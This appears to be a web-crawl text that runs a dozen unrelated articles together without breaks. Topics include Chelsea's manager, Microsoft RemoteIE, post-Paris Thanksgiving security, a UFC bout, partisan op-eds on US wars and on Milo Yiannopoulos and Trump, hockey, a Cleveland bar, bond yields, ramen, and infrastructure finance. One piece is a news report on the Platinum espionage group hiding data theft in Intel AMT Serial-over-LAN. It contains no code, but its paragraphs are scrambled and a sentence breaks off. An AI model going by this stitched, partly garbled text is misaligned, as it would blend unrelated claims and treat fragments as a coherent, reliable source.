Inspired by the Rodin sculpture, and the Drogba-Torres-Anelka rotationAVB goes all Zoolander while Di Matteo completes world's worst boybandNotice the teeth, vital in all areas of showbusinessCoach Christophe Lollichon (left) admires Villas-Boas' disco flairIt's not what it looks like - there's a football there somewhere, I swearA classic. Expected to be displayed when Chelsea face Blackburn Steam rises from his ears whenever Fernando Torres misses an open goal Follow Jamie Dunn on A nod to England's Ashes-winning squad
By Jamie Dunn It is often said that football managers head and kick every ball with their team from the touchline during a game.Regularly, we are shown action replays of Manchester United manager Sir Alex Ferguson, furiously chewing gum as he puts the final touches on a move before he wheels away in celebration as if he scored the goal himself.What Andre Villas-Boas is doing as he emerges from the Chelsea bench, though, is anyone's guess.The Portuguese has made an impressive start to life in England, following up his trophy haul at Porto with just one defeat in eight league games.But perhaps more impressive is Villas-Boas' command of his technical area. It is his platform at stadiums nationwide to produce some of the best moves you are likely to find this side of Strictly Come Dancing.Here are some of the Chelsea boss's most inspired moments to date.Microsoft has announced a new tool today called RemoteIE that works via the Azure Remote app. This free service allows you to run the latest version of Internet Explorer from the Windows 10 Technical Preview on any device - this includes OS X, iOS and Android too - without the need for a virtual machine.
The reason Microsoft built this tool is to make it easier for developers to build content for the latest version of Internet Explorer, no matter their choice of OS. For example, if you run Windows 7 and want to test out the latest version of Internet Explorer, you can now use RemoteIE to test your site using the browser without having to fire up a VM.
The cool part about this service is that you can even run IE on your iPad or Android device too. This gives developers who exclusively work in those environments the ability to test their products with the latest version of IE without having to buy additional hardware or software.
The app works by leveraging Microsoft's Azure platform and builds upon the Windows Server Remote Desktop Services infrastructure. In short, you stream IE from the cloud to your local device. Seeing that this is for developers, don't expect IE to run as fast as a native browser when streaming from Azure.
You can check out the new app at the link below.
View: RemoteIEWASHINGTON/NEW YORK (Reuters) - President Barack Obama sought to reassure Americans they are safe as millions of people traveled on Wednesday for the Thanksgiving holiday, with security heightened at airports, New York City’s parade festivities and other venues after the Paris attacks.
“Right now, we know of no specific and credible intelligence indicating a plot on the homeland,” Obama told reporters at the White House, flanked by his FBI director and other top security officials.
“We are taking every possible step to keep our homeland safe,” he said.
Nearly 46.9 million Americans will travel over the Thanksgiving long weekend - the busiest U.S. travel holiday of the year - with 3.6 million going by plane, according to the AAA, a motorist advocacy group.
Most U.S. airports reported flights delays of less than 15 minutes, according to tracking websites. Travelers at airports from Washington to New York said they saw heavier than normal security but that traveled was flowing smoothly.
Americans have become more concerned about threats since a series of attacks in Paris two weeks ago killed 130 people and now identify terrorism as the most important problem facing the nation, Reuters-Ipsos polling shows.
“We have to live our lives right? We’re having a good time. We did a cruise and now we’re doing New York City,” said Karen Damaschino, 47, of San Francisco after landing at John F. Kennedy International Airport to spend the holiday in New York.
The U.S. response to Islamic State has become a top issue in the race to succeed Obama in the November 2016 presidential election. In his statement, Obama tried to allay Americans’ concerns.
“I know that families have discussed their fears about the threat of terrorism around the dinner table, many for the first time since September 11th,” he said, referring to the 2001 attacks by al Qaeda on New York and Washington.
But he told Americans they should “go about their usual Thanksgiving weekend activities” while remaining vigilant to any suspicious activities.
Police officers secure the area at Union Station in Washington, November 25, 2015. REUTERS/Yuri Gripas
STAY VIGILANT
To underscore Obama’s message, his Homeland Security Secretary Jeh Johnson held a photo op at Washington’s Union Station just before boarding an Amtrak train to Newark, N.J., on the heavily traveled Northeast corridor, en route home for the Thanksgiving Day holiday
“It should be obvious to the public that there is a heightened presence” of law enforcement officers at train stations, airports and other public places, Johnson said. “We are working overtime to protect the homeland.”
Some travel analysts expected airport delays as a result of the heightened security. Officials at the Transportation Security Administration, which oversees airport security, declined comment.
The FBI sent a bulletin earlier this week to police departments across the country warning of possible copycat incidents and sharing intelligence on how the assailants in Paris carried out attacks on Nov. 13 that killed 130 people.
The U.S. State Department also issued a world-wide travel alert on Monday warning American travelers to remain vigilant, particularly when visiting foreign countries.
‘BUSINESS AS USUAL’
In New York City, officials stressed there was no specific threat, despite a video released last week by the militant group Islamic State that included images of New York. Islamic State has claimed responsibility for the Paris attacks.
As many as 3.5 million people were expected to line the 2.5-mile (4-km) route of the Macy’s Thanksgiving Day Parade (M.N) in New York City on Thursday, according to parade organizers. Many were expected to head to Manhattan’s Upper West Side on Wednesday to watch the giant parade balloons being inflated on the eve of Thursday’s parade.
The New York Police Department is ramping up its usual tight parade security, adding members of a new counterterrorism unit, officials said.
City officials have made numerous public appearances in recent days seeking to reassure New Yorkers and tourists.
“There remain no credible and specific threats against New York City,” Mayor Bill de Blasio told reporters on Monday. “I’m very, very confident in the NYPD’s preparation for the parade.”
Slideshow (4 Images)
The 89th edition of the parade, which features 8,000 performers, kicks off holiday events in the city, including the lighting of the enormous Christmas tree at Rockefeller Center next week and the New Year’s Eve celebration in Times Square.
More than 5 million visitors come to the city between Thanksgiving and New Year’s Eve, according to the city’s tourism agency. Chris Heywood, an agency spokesman, said all events are “business as usual.”It didn't take long for Tecia Torres to get a new opponent.
The popular women's strawweight contender will take on the newly signed Jocelyn Jones-Lybarger at UFC 194 on Dec. 12 in Las Vegas, the UFC announced Friday. Torres was initially supposed to fight Michelle Waterson, who pulled out this week due to a knee injury.
Torres (6-0) has won both of her UFC fights via unanimous decision after falling to Carla Esparza and Randa Markos on The Ultimate Fighter 20. Despite those exhibition defeats, "The Tiny Tornado" has not lost an official pro fight. Torres, 26, is coming off a unanimous decision win over Angela Hill at UFC 188 in June.
Jones-Lybarger (6-1) has won four straight in RFA, including a dominant unanimous decision victory over former Bellator champion Zoila Frausto last month to win the promotion's women's strawweight title. The MMA Lab product has not lost a fight since 2013. Jones-Lybarger, 30, has also competed for Invicta.
There is no timetable set for Waterson's return, she told MMA Fighting's Ariel Helwani.
UFC 194 is headlined by a featherweight title unification bout between champion Jose Aldo and interim champ Conor McGregor. In the co-main event, Chris Weidman defends his middleweight title against Luke Rockhold.American Government Threatened By All Who Question U.S. Military Hegemony
The influential Neoconservative think tank Project for a New American Century (PNAC) argued in 2000 that the U.S. should use military force to assure its military hegemony in the world. The Bush-Cheney wars in Iraq and elsewhere were largely based on PNAC’s arguments.
And Obama has promoted the same vision, and changed virtually nothing.
Economic Rivalry: A Basis for War?
Secretary of Defense (and former CIA head) Leon Panetta may have implied last week that Brazil, Russia, India and China (the “BRIC nations”) are a threat to the U.S. because they are doing well economically, while the U.S. isn’t doing so hot:
While terrorism remains a threat to national security, it is joined by cyber attacks, nuclear weapons capability and a number of rising powers among the world’s nations, Defense Secretary Leon E. Panetta said in an interview broadcast last night. *** “We also are living in a world in which there are rising powers, countries like China and Brazil and India, not to mention obviously Russia and others, that provide a challenge to us not only in trying to cooperate with them, but making sure that they don’t undermine the stability of the world,” he added. Panetta said his role in meeting those threats is leading the Defense Department in effective national protection. “It’s about being in charge of the services, our men and women in uniform who have to actually go out there and do the mission,” the secretary said.
Panetta’s statement could be read to imply that the U.S. is willing to use force – i.e. “men and women in uniform … to actually go out there and do the mission”, in order to provide “effective national protection” against the BRIC’s threat to “the stability of the world” … i.e. U.S. economic dominance.
Hopefully, we are misinterpreting his comments.
But the Iraq war was really about oil, according to Alan Greenspan, John McCain, George W. Bush, Sarah Palin, a high-level National Security Council officer and others.
Former CIA director George Tenet said that the White House wanted to invade Iraq long before 9/11, and inserted “crap” in its justifications for invading Iraq. Former Treasury Secretary Paul O’Neill also says that Bush planned the Iraq war before 9/11. (The government apparently planned the Afghanistan war, and most of our current military and intelligence policy, before 9/11 as well. See this, this and this).
So the government’s stated reasons for war may not hold much water.
And Ellen Brown argues in the Asia Times that middle eastern wars in Iraq, Libya, and elsewhere stem from those countries’ leaders challenged the supremacy of the dollar and the Western banks:
Later, the same general said they planned to take out seven countries in five years: Iraq, Syria, Lebanon, Libya, Somalia, Sudan, and Iran. What do these seven countries have in common? In the context of banking, one that sticks out is that none of them is listed among the 56 member banks of the Bank for International Settlements (BIS). That evidently puts them outside the long regulatory arm of the central bankers’ central bank in Switzerland. The most renegade of the lot could be Libya and Iraq, the two that have actually been attacked. Kenneth Schortgen Jr, writing on Examiner.com, noted that “[s]ix months before the US moved into Iraq to take down Saddam Hussein, the oil nation had made the move to accept euros instead of dollars for oil, and this became a threat to the global dominance of the dollar as the reserve currency, and its dominion as the petrodollar.” According to a Russian article titled “Bombing of Libya – Punishment for Ghaddafi for His Attempt to Refuse US Dollar”, Gaddafi made a similarly bold move: he initiated a movement to refuse the dollar and the euro, and called on Arab and African nations to use a new currency instead, the gold dinar. Gaddafi suggested establishing a united African continent, with its 200 million people using this single currency. *** And that brings us back to the puzzle of the Libyan central bank. In an article posted on the Market Oracle, Eric Encina observed: One seldom mentioned fact by western politicians and media pundits: the Central Bank of Libya is 100% State Owned … Currently, the Libyan government creates its own money, the Libyan Dinar, through the facilities of its own central bank. Few can argue that Libya is a sovereign nation with its own great resources, able to sustain its own economic destiny. One major problem for globalist banking cartels is that in order to do business with Libya, they must go through the Libyan Central Bank and its national currency, a place where they have absolutely zero dominion or power-broking ability. Hence, taking down the Central Bank of Libya (CBL) may not appear in the speeches of Obama, Cameron and Sarkozy but this is certainly at the top of the globalist agenda for absorbing Libya into its hive of compliant nations.
John Perkins largely agrees.For many of us who have been harassed and attacked directly by Milo Yiannopoulos over the past few years, we are well aware of his depravity. He openly embraces his role as a bigot and a troll who targets and ridicules whoever crosses his path. I have seen people's personal lives destroyed by death threats and doxing after Milo sets his gaze upon them. All of this has been true, while Milo — who's permanently banned from Twitter — has primarily functioned in a creepy corner of American politics called the Alt-Right. The most visible spokesperson for that movement, he has operated outside of the mainstream for most of the past two years — until now.
His longtime boss at Breitbart, Steve Bannon, himself believed by many to be as bigoted of a man we've seen in the White House in generations, is now Donald Trump's Chief Strategist, and CPAC, the most hyped conservative gathering in America, invited Milo to be a speaker – an invitation that was withdrawn Monday amid public backlash.
An interview where Milo Yiannopoulos is heard defending older men having sex with young boys has shocked the internet in recent days. Image by: Jeremy Papasso/AP
Bill Maher defends booking Milo Yiannopoulos amid backlash
CPAC’s invitation legitimized a dangerous and disturbing man. But as I think about their embrace of a man without morals, I realize that they have become a party without morals.
With Milo as a celebrated man in the party and Donald Trump as their leader, the Republican Party has officially become the party of perverts. I don't say that lightly. That's exactly what the party is at this point.
Just days away from his speech at CPAC, the world is now fully understanding just how despicable Milo is. In video interviews that were already widely available but recently gained new attention, Milo appears to openly defend child molestation and pedophilia. He's not joking. It wasn't satirical. In repeated interviews the man seemingly goes out of his way to defend pedophile priests and even brags, with all seriousness, how a priest taught him, when he was 13 or 14, to give good oral sex. He then goes on to defend the value of men in their 20s and 30s having sex with young boys. I can hardly stand to repeat the things he said. Again, though, he was not joking. He was dead serious. He admitted in the interviews that his stance on young boys having sex with grown men was likely "controversial."
No Milo, what you described is not controversial, it's criminal. That is child abuse and sexual assault. It is illegal for men in their 20s or 30s to have sex with underage boys and girls. Period.
Trump threatens to cut UC Berkeley funds over Milo cancellation
The President of the United States has a well-documented history of sexually assaulting women. Image by: Susan Walsh/AP
Milo later tried to deflect, writing that he shouldn't have used the word "boy" — and how the age of consent in the UK, where he grew up, is 16.
Matt Schlapp, the chairman of the American Conservative Union, which hosts CPAC, released a statement calling Milo’s Facebook response “insufficient.”
Far-right Milo Yiannopoulos does not attend White House briefing
That conservatives claimed to be upset about Milo only after his comments about sexual assault resurfaced, says a lot.
They seemed to be just fine with him when he was simply a white supremacist, transphobic bigot, but his comments about child molestation seem to have crossed the line for some.
But here's the thing — this is who the Republican Party is. The President of the United States has more than a dozen women claiming they were sexually assaulted by him. His first wife said in a sworn deposition that he brutally attacked and raped her (she later said she did not want the word rape to be interpreted in a criminal sense). He was recorded bragging that he forces himself on women and grabs their genitalia whenever he feels like it. And after our nation heard that recording, he was still elected.
Donald Trump is a pervert. Milo is a pervert.
And when your President and your rising star are perverts, that pretty much means the party is a party of perverts.
I don't say this with even the slightest hint of glee. Quite the contrary, it's terrible. It's absolutely terrible. Victims of sexual assault and child molestation are mortified. Since the recent videos of Milo have gone viral, many have reached out to me directly and asked me to speak up and speak out on his gross normalization of such crimes.
I am afraid this is where we are going. When your President has such low character, particularly around the issues of sexual assault, you end up with tens of millions of Americans who have compromised their own integrity in the name of getting him elected, and they now lack the ground to stand on to say anything about sexual assault in general.
With Trump and Milo, sexual assault and child molestation are becoming nightmarishly normalized. I wish it was bad fiction, but it isn't. The perverts are in power.It was a year to remember for the 2016-17 Columbus Blue Jackets. There was a historic winning streak, surprise performers, and an appearance in the Stanley Cup Playoffs. The Columbus Blue Jackets writers here at Last Word on Hockey have gotten together for a roundtable discussion to talk about the season, and figure out what needs to be done going forward.
The Last Word on CBJ department is comprised of Managing Editor Nic Hendrickson (@RedArmyNic), Editor Sean Merz (@DasBrontosaurus), and contributor Andrew Allison (@17_Andrew_).
Last Word Roundtable: 2016-17 Columbus Blue Jackets Season in Review
Biggest Surprise Player of 2016-17
Andrew Allison: Sam Gagner joined the Blue Jackets last off-season through free agency. At the time, no one thought the signing was anything but a league minimum, bottom-six forward signing. Once the season began that perception didn’t last long. Gagner scored 18 goals and 32 assists on the season setting a career high in points. The Gagner signing was undoubtedly the biggest surprise and a massive boost to this Blue Jackets team.
Sean Merz: For me, the biggest surprise of the season has been the performance of rookie defenseman Zach Werenski. Though it was immediately obvious that his ceiling is sky high, I was not prepared for just how rapid his ascendancy would be. To go from playing in college to being a finalist for the Calder Trophy in the span of a year is astonishing and is almost certainly just the start of a fantastic career.
Nic Hendrickson: The biggest surprise player for me has to be Josh Anderson. I’ve always been a big fan of Anderson, and I definitely thought he would develop into a future bottom-six forward. However, I did not think that his rise to the team would be this seamless and this fast. Anderson was a huge surprise, and if he can play the same style next season the Columbus Blue Jackets will surely experience another good year.
Most Disappointing Player of 2016-17
AA: It’s weird to call Brandon Dubinsky a disappointment, especially because he had 41 points. However, Dubinsky is supposed to be one of the leaders on this team and sometimes he didn’t act like it. Dubinsky took mind-numbing penalties that would put the team in a bad spot in crucial point in the game. See: Game three in the first round of the playoffs.
SM: The biggest disappointment of the season has undoubtedly been the play of Scott Hartnell. As a bottom-six forward, an output of 37 points is not bad, but with a cap hit of $4.75 million, that sort of production is simply not a good value.
NH: The biggest disappoint of the season has to be the production, or lack thereof, from Scott Hartnell. Much like Sean said, for a player carrying a cap hit of $4.75 million to only have 37 points on the season, it makes the load harder to carry for the rest of the team. And when you add it to the fact that he was third on the team in penalty minutes (63), it makes the lack of production a much more difficult pill to swallow.
Favorite Moment of 2016-17
AA: My favorite moment of this season came on November 18th when the Blue Jackets faced the New York Rangers. Halfway through the second Matt Calvert took a puck to the face and went back to the locker room. Calvert came back in the third and scored the game-winning goal, shorthanded, to give Columbus the 3-2 win.
SM: The best moment of the season for me came with the 10-0 demolition of the Montreal Canadiens on the fourth of November. In a season that saw the Jackets break nearly every franchise record, this early game acted as an example of what the team was capable of.
NH: My favorite moment of the season was the game against the Minnesota Wild on New Year’s Eve. Sarcastically referred to as the “Unsustainabowl”, the game showcased two of the biggest surprise performers, and one of the most historic games in league history, with each team riding a franchise-record winning streak. It was an awesome game to watch, and the fact that the Columbus Blue Jackets won made it all the more memorable.
Most Promising Player
AA: The player I think is the most promising for the future is easily Zach Werenski. Werenski broke the Blue Jackets record for points scored in a season by a rookie. He was also six points shy of breaking the franchise record for points scored by a defenseman in a season.
SM: The most promising player is Zach Werenski, without a doubt. At the age of 19, he has already shown the ability to play at the highest level in the most difficult league in the world with intelligence, toughness, and skill that belies his age.
NH: For the sake of not saying the obvious answer of Werenski, my answer would have to be Joonas Korpisalo. Korpisalo may have had a bit of a dip in production this season, but he still projects to be a starter at the NHL level. If the Columbus Blue Jackets get lucky, and the Vegas Golden Knights don’t select him in the expansion draft, he is undeniably the future starter.
Who the Columbus Blue Jackets Should Part With
AA: Scott Hartnell is one of my favorite players on this Blue Jackets team. However, with the expansion draft looming the Blue Jackets need to get Hartnell to waive his no-movement clause. The Blue Jackets have other players that need protected, and if he won’t waive the clause then Columbus might have to take matters into their own hands and find a way to free up another slot for protection.
SM: To continue to drive the point home, the best case scenario in the trade market would be to have Hartnell waive his NMC and send him somewhere in need of a veteran presence. Barring that, trading Boone Jenner or Dubinsky for defensive depth could help clear cap space and solidify the blue line.
NH: There are a few names and scenarios that would justify parting ways with certain players. The first would be that of Gagner. If Gagner demands more than $850,000/year on a new contract, his time should be cut short in Columbus. What Sean and Andew have said about convincing Hartnell to waive his NMC also rings true, if only to protect a younger player in the upcoming expansion draft.
Who Will be Taken in the Expansion Draft
AA: Columbus would be lucky if Jack Johnson is selected in the expansion draft. While Johnson is a crowd favorite, he is also aging and part a defense with great depth. The Columbus Blue Jackets would rather have Johnson selected than players like William Karlsson or Joonas korpisalo.
SM: The best possible player to lose to the expansion draft would be Scott Hartnell. This would require him to waive his No Movement Clause and would also require Vegas to select an aging, declining forward over younger prospects from other teams. The focus in Columbus should be on keeping the core of young players like Anderson and Karlsson together if they hope to push for playoffs again next year. Hartnell’s contract is holding the team back.
NH: While I agree in principle with both Johnson and Hartnell being favorable names to lose in the expansion draft, I don’t see either of them happening. The two candidates most likely to be taken are William Karlsson and Joonas Korpisalo. Karlsson because the pool of centers is looking really weak for Vegas, and Korpisalo because he projects to be a very solid starting goalie. Hopefully it’s the former rather than the latter.
One Player the Columbus Blue Jackets Should Pursue
AA: This off-season, Washington Capitals forward T.J. Oshie will be an unrestricted free agent. I think Oshie should be a priority for the Blue Jackets this off-season, he can be the scorer they need. The only problem is that Columbus is up against the cap and will have to get rid of some salaries to pursue him
SM: Ideally, the Blue Jackets should focus on adding defensive depth or another scoring threat via free agency or trade. On the blue line, the likes of Karl Alzner and Kevin Shattenkirk are set to become unrestricted free agents, and the addition of either will add depth to a strong defensive corps. That being said, T.J. Oshie will also become a free agent this summer and could add a lethal scoring touch to an offense that struggled as the season wound down. All three will likely command good chunks of salary, but each would strengthen the team considerably.
NH: At the risk of sounding like a broken record, Oshie would be a fantastic addition for the future. His skating ability and ability to score 30-plus goals would be a massive boost to a Columbus Blue Jackets roster that many seem to think has no big name. Not only would he be a boost to the Jackets on the ice, but a relatively big name like that would draw in more fans on a regular basis. It would be a fantastic move, but the cap space situation might just be a hurdle that cannot be cleared.
Stay tuned to Last Word on Hockey and the Last Word on CBJ Twitter account for upcoming off-season pieces on the Columbus Blue Jackets.
Main Photo:CLEVELAND, Ohio -- Green Day getting nominated for the Rock and Roll Hall of Fame and the Euclid Tavern getting ready to reopen might seem to have nothing in common with one another.
The punk-pop trio has sold more than 75 million records, won Grammys, gone Broadway and won Tonys.
At the other end of the spectrum... the Euclid Tavern is, well, the Euclid Tavern. The circa-1909 institution is being rechristened this week as the Happy Dog at the Euclid Tavern and serving as an East Side satellite for the music-and-hot-dogs bar.
But bars are more than bars. They are markers of time, signifiers of place, and they mean different things to different people -- depending on who they saw, when they went or what the bar was like or where they were living at the time.
Especially a bar like The Euc, which has seen so many changes and entertained so many generations over 105 years.
To Derek Hess, it will always be the Euclid Tavern, residing in another time and place. And somewhere, in his memory, resides Green Day.
They were just any other band – nothing remarkable or that different from the hundreds of bands he booked between 1989 and 1995. At least when they played the Euclid Tavern on June 3, 1992.
"I wasn't hip to those guys, and I've never been much of a fan of pop-punk," says Hess. "So I had this agent call me about booking them and I'm like, 'I don't know, I don't think so.' "
The problem, you see, was Green Day wanted a lot more money than Hess was willing to pay: $300.
No deal.
The agent lowered the fee to $200.
No deal.
"I was more than happy to give them a show here because they had an empty date," he said. "So I said, 'How about $100?' "
Deal, as a calendar Hess has back then testifies. It shows a band called Libido Boys getting $75 to play on the same bill. Yes, the same Libido Boys that did not get nominated for the Rock Hall this year.
"I wasn't a big fan of that kind of music, but Green Day was awesome," says Hess. "They were the nicest guys – so friendly, just happy to be playing as a band and on the road."
"You get a good feeling about some bands because they have so much enthusiasm," adds Hess. "They would've been happy just having something to eat."
The Euclid served bar-food basic back then. Hess knows all too well; he worked there chopping chicken wings while attending the Cleveland Institute of Art.
"There were all these cool bands that were skipping Cleveland on tours, and Monday night was always dead," he recalls. "So I asked the owners to let me book a band and it led to another and another."
Hess' reign at the Euclid almost crumbled before it started, however.
"The first show I booked was two Cleveland hardcore bands – Integrity and Face Value," he says. "Each band played only 20 minutes, and the straight-edge kids didn't drink – so it turned out to be a real fiasco."
Hess booked his first national act in 1990, Helmet – a much-anticipated show that put Cleveland on the touring circuit of up-and-coming bands.
"With cities like Cleveland, it's important to find a night that can fit into touring routes," says Hess. "All sorts of bands wanted to play here on a Monday, and we made it a reoccurring thing."
The list of bands ran the gamut, from Ween to Afghan Whigs, Sebadoh, Jesus Lizard, Jawbox, Soul Coughing and Yo La Tengo – all rising acts in the '90s. According to Hess' calendar, Pavement also received a bonus for its June 15, 1992, show: five meals and a case of beer.
The shows helped launch Hess' art career.
"I would make fliers just trying to get the word out on the shows," says Hess. "Having a personal-style poster made shows have a coherent feel to them, as if there was something unique to the Euclid Tavern happening.
"It proved to be a good thing for me on many levels, but I got involved in the poster art scene and got my work out there," he adds. "Every week was like a new exhibition of a new thing."
He also learned a bit about the bouncer business – namely, if you can't beat 'em, hire 'em.
"There were these two big guys that were CIA students always dancing around and knocking people over," he says. "They were so big that you couldn't control them, so I figured I might as well hire them to do security for the shows."
Some of the more risk-taking regulars would swing from a beam during shows. Anything remotely resembling that disappeared when the Euclid Tavern reopened in 2008, after being closed for seven years.
Not the same Euc, it had undergone a makeover that included steak and Japanese noodles on the menu.
"They put a picture window in," says Hess. "The whole place seemed foreign to me – it ceased to be my idea of the Euclid Tavern."
The latest version reveals a different kind of makeover.
Yes, hot dogs will be served, along with those Happy Dog tater tots.
The roof-top patio of the old version is gone, but there's a basement bar where you can get away for a drink. The back room houses a wall of pinball machines.
"I think the Happy Dog is about the best operator you could find to take over the Euc," says Hess. "The times have changed – and you can't go back in time."
It reminds Hess of a children's story about a house that stays in the same place, as a city sprouts up around it.
"Look at all the development that has gone up around the Euclid Tavern," he says, referring to the Uptown development. "You could drive past the bar and not even notice it – it's like that little house."
"Which I understand comes with change," adds Hess. "Which is why a place like the Euclid Tavern is going to mean something very different to the person that goes there now than it did to me – just as it did to the person that went there before I did."It's an inevitable question: Could U.S. 10-year yields turn negative now that German 10-year yields have fallen below zero for the first time ever and Japanese 10-year yields have dipped to record lows of negative 0.17 percent?
According to Dennis Davitt, partner at Harvest Volatility Management and a noted options market veteran, it may well happen.
"I think you could see negative rates in the U.S. If Germany and other countries in the world go even further negative, it turns into a number line game. So where zero lies on the number line, who knows?" Davitt said Tuesday on CNBC's "Trading Nation."
He sees rates being driven lower by two factors in addition to overall slow global growth: Stimulative central bank policies and regulations.
"The European banks under their Basel regulations, much like our Dodd-Frank, are forced to hold a certain amount of assets on their balance sheet [and] those assets have to be government-issued debt. So they're forced to own those assets."
For that reason, no matter how low yields fall, "there's a buyer in the marketplace," he said.
As Davitt implies, there is a correlation among government bond yields around the globe. But there remains a big difference between the German and Japanese economies on the one hand, and the American economy on the other. According to the latest figures from the OECD, inflation in German is mildly negative, and Japan is also experiencing deflation; the same report, which looked at annual inflation in the year ending April, placed U.S. inflation at 1.1 percent.
Since bond yields without credit risk are generally thought to include an inflation-compensating component and a "real rate" component (which should relate to the general supply and demand for funds), the higher inflation in the U.S. means that the real rate has to become that much more negative before the zero line is crossed.
"Our bonds have been negative a long time in a real sense, but not in a nominal one," Max Wolff, chief economist at Manhattan Venture Partners, said Tuesday on "Trading Nation."
Wolff doesn't see a nominal negative rate around the corner due to his perception that "Americans have more of a risk appetite than either Japanese or German investors," meaning that American investors will be more inclined to buy stocks rather than extremely low-yielding bonds.
Negative rates are an exceptionally odd condition that is hard to wrap one's head around. What a subzero yield means in practice is that if a bond is held to maturity, one will receive less than a full dollar back for every dollar invested. Lending one's money in such conditions may sound insane, but could make sense in cases when one needs assurance of receiving a given sum of money, which is an assurance that only government bonds can provide (and even then, only if one assumes there is no chance of the government defaulting).
Other strategists, like Larry McDonald of ACG Analytics, say negative U.S. yields are unlikely, since central banks around the world will soon change course due to the failure of the policies to spur growth.
The U.S. 10-year Treasury yield fell below 1.6 percent at one point on Tuesday, nearly matching the multiyear rate lows seen in mid-February.
Federal Reserve policymakers are expected to announce their latest interest rate decision on Wednesday.The silent slurp at Ichiran.
The Japanese ramen chain Ichiran, famous for serving only one kind of soup (pork-bone-broth tonkotsu) throughout its 61 locations, has been trying to open in New York for a decade. Finally, it’s arrived in East Williamsburg with an 82-seat restaurant adjacent to a production facility large enough to supply at least a half-dozen future branches (a second will likely open in Manhattan next year). But Ichiran is as well known for its service “system” as for its noodle soup. In Japan, diners buy a meal ticket at a vending machine, monitor a flashing seating chart, then seat themselves at individual “flavor concentration booths.” (In Brooklyn, there’s no vending machine, and half the space offers customary group seating.)
These booths, which evoke library carrels and those glass-divided telephone booths inmates use in prison, take solo dining to the extreme. You fill out a menu, customizing the richness of your broth and the strength of your dashi, and push a call button. A faceless server retrieves the form — faceless because the booth is constructed to reveal only his or her torso — and then delivers the ramen and pulls down the shade, leaving you alone with your thoughts and your soup. The aim is to strip the meal of all unnecessary distractions, including social interaction, and enhance the sensory experience of ramen-eating. There is also the added benefit of a quick turnaround. According to spokesperson Hana Isoda, the average meal time in Japan is 20 minutes, which would be even shorter without all the daw
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of Legends. You can follow her on Twitter."As this embedded processor is separate from the primary Intel processor, it can execute even when the main processor is powered off and is, therefore, able to provide out-of-band (OOB) remote administration capabilities such as remote power-cycling and keyboard, video, and mouse control (KVM)," Microsoft said.
"Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications running on the host device. To enable SOL functionality, the device AMT must be provisioned."
It's not hard for a well-funded state-sponsored hacking group to break into corporate networks and compromise systems with malware, but what's challenging for them is to keep that backdoor and its communication undetectable from a firewall and other network monitoring applications.However, a cyber-espionage group known as "," that is actively targeting governmental organisations, defense institutes, and telecommunication providers since at least 2009, has found a way to hide its malicious activities from host-based protection mechanisms.Microsoft has recently discovered that the cyber-espionage group is now leveraging Intel's Active Management Technology (AMT) Serial-over-LAN (SOL) channel as a file-transfer tool to steal data from the targeted computers without detection.Intel-based chip sets come with an embedded technology, called AMT, which is designed to allow IT administrators to remotely manage and repair PCs, workstations, and servers of their organisations.The Intel AMT technology operates independently of the operating system and works even when the system is turned off, as long as the platform is connected to a line power and a network cable.That means, when AMT is enabled, any packet sent to the PC's wired network port will be redirected to the Management Engine and passed on to AMT – the operating system, as well as network monitoring applications installed on a system, never knows what's going around.Moreover, Linux systems with Intel's chips and AMT enabled may also be exposed to Platinum's malware.Unlike the remote authentication flaw discovered last month that enabled hackers to take over full control of a system by using AMT features without the need of any password, Platinum does not exploit any flaw in AMT, instead, requires AMT to be enabled on infected systems.Microsoft notes that SOL session requires a username and password, so either the hacking group is using stolen credentials to make its malware remotely communicate with the C&C servers, orThe Platinum hacking group has been using zero-day exploits, hot patching technique and other advanced tactics to penetrate in their target systems and networks in South Asian countries, but this is the first time someone is abusing legitimate management tools to evade detection.Microsoft said it has already updated its own Windows Defender Advanced Threat Protection software that will alert network administrators of any malicious attempts at using AMT SOL, but only for systems running Windows operating system.Infrastructure renewal work beneath Penn Station in New York. - Kathy Willens/AP
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Officials in states, cities and counties are increasingly looking to use private money for public infrastructure projects like roads and bridges, a result of tight budgets, eager financial investors and a president who believes that business — not government — can deliver better services to Americans.
An analysis by APM Reports has found that at least 46 transportation and water-related projects in 23 states and the District of Columbia presented to the White House could rely on private money to be completed, including investment opportunities in Alabama, drinking water pipelines in California and New Mexico and a massive transit project in the New York City area.
Locating infrastructure projects that could use private money. - APM Reports
The 46 projects are a subset of nearly 520 pitched to the White House since the inauguration, evidence that investors have convinced government at all levels nationwide that their business acumen is a solution to financing and maintaining deteriorating roads, bridges and other projects.
The projects will likely be among the favorites of President Donald Trump because of his insistence that private investment be used to pay the cost of the country's infrastructure fix.
But privately financed projects have proven unpopular in at least two states after citizens learned they had to pay higher fees and tolls to private investors. And a federal loan program Trump is pushing to broaden has lost money on three projects that featured private investment.
In most instances, the projects serve high population, urban centers. That means rural voters, who helped elect Trump, could be left out of the potential infrastructure boom unless he either directs a significant amount of taxpayer money to rural projects or convinces investors to steer money there.
Forty of the 46 projects on the list are transportation related. The remaining six are water projects. Eight of the projects are entirely private enterprises with limited or no government involvement.
The others rely on a financing mechanism known as a public-private partnership, which can include a variety of models. The most common is a government receiving upfront financing to build or fix a project in exchange for either payments to the investors or rights to the investors allowing them to earn money on the project from, say, charging tolls on a highway.
APM Reports contacted officials managing the projects to ask whether the project had the potential for private investment through complete ownership or through a public-private partnership.
The analysis focuses only on projects that were submitted to the Trump Administration, indicating they are priorities for governors, infrastructure consultants, union leaders and Trump advisers. Some states however, such as Massachusetts, say they are pursuing private investment on projects not included on the list submitted to Trump.
While most of the projects on the list still rely on public money to get completed, the trend shows private investment — especially through public-private partnerships — is becoming more common.
For example, officials say 13 of the 46 projects on the list collected by the White House since November are road and bridge projects. That's more than half the total number of highways — 21 — that relied on private financing between 1989 and 2012, according to a 2012 report by the Congressional Budget Office.
Trump has not released specifics about what he calls his $1 trillion infrastructure plan or the timing, but he has emphatically embraced public-private partnerships as a solution to a problem that he's identified as critical to America and what most political observers say could deliver a badly needed political win.
The American Society of Civil Engineers gave the nation's infrastructure poor marks in a report card released earlier this year. The group said it will cost $4.6 trillion to address the nation's roads, bridges, ports and water systems.
The White House budget plan clearly indicates that private investment will be a strategy. "Providing more federal funding, on its own, is not the solution to our infrastructure challenges," the document said.
Many state and local officials already see private investment as a solution, regardless of whether President Trump is successful in passing an infrastructure package.
"I think the U.S. is really sitting on a kind of infrastructure gold mine," said John Schmidt, an attorney who has negotiated public-private partnerships — known as P3s — in Chicago, Indiana, Texas, Puerto Rico and Colorado, offering an optimistic assessment for the industries that stand to gain.
It isn't certain, though, how many projects will get financed with private money.
